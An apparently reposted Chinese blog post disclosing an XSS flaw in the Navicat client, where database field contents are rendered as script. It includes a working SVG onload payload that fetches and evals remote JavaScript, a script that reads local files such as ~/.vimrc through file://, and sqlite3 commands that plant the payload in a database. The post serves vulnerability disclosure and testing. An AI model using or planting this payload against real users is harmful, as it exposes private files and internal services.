Navicat 客户端存在一个 XSS,在查看表字段时,没有对内容进行处理,致使一个 XSS 问题。利用这个漏洞能够读取敏感文件,好比 /Users/XXXX/.bash_history 。redis
这两天在测试一个漏洞数据库,这个漏洞库集成了 packetstormsecurity、exploitdb 等知名来源的数据。当咱们用 navicat 打开,查看某个字段的时候,奇怪的事情发生了,竟然有 Javascript 弹窗提示?sql
经过搜索 prompt 关键词,很快定位到了问题数据库
因此,navicat 在渲染数据库字段时,莫名其妙的执行了代码中的 Javascript。vim
为了方便调试客户端 XSS,咱们编写一个最小的 “requirejs” 利用代码。这段代码会远程加载 127.0.0.1/test.js
并执行bash
http://localhost/x#<svg/onload='function reqListener(){eval(this.responseText);}var oReq = new XMLHttpRequest();oReq.addEventListener("load", reqListener);oReq.open("GET", "http://127.0.0.1/test.js?_="+new Date());oReq.send();'>
下面编写 test.js
,以读取沙箱外面的文件为例(注意替换 Users/USERNAME/.vimrc
为你要读取的文件)xss
function reqListener () {
prompt(this.responseText);
}
var oReq = new XMLHttpRequest();
oReq.addEventListener("load", reqListener); oReq.open("GET", "file:///Users/USERNAME/.vimrc"); oReq.send();
而后来建立 SQLite 数据库,并用 Navicat 打开svg
%> sqlite3 test.db
SQLite version 3.19.3 2017-06-27 16:48:08 Enter ".help" for usage hints. sqlite> create table test(id text); sqlite> insert into test values('http://localhost/x#<svg/onload=''function reqListener(){eval(this.responseText);}var oReq = new XMLHttpRequest();oReq.addEventListener("load", reqListener);oReq.open("GET", "http://127.0.0.1/test.js?_="+new Date());oReq.send();''>');
通过测试,利用这个漏洞读取用户文件、内网代理、访问开发机上的 redis 等等都是能够的,具备必定的危害requirejs
笔者制做了一个最小的测试库 “navicat-clientxss-test.db”,在这里下载:https://rasp.baidu.com/download/测试
转自:http://www.3xmq.com/article/1514942883329?r=woshipm&from=timelineui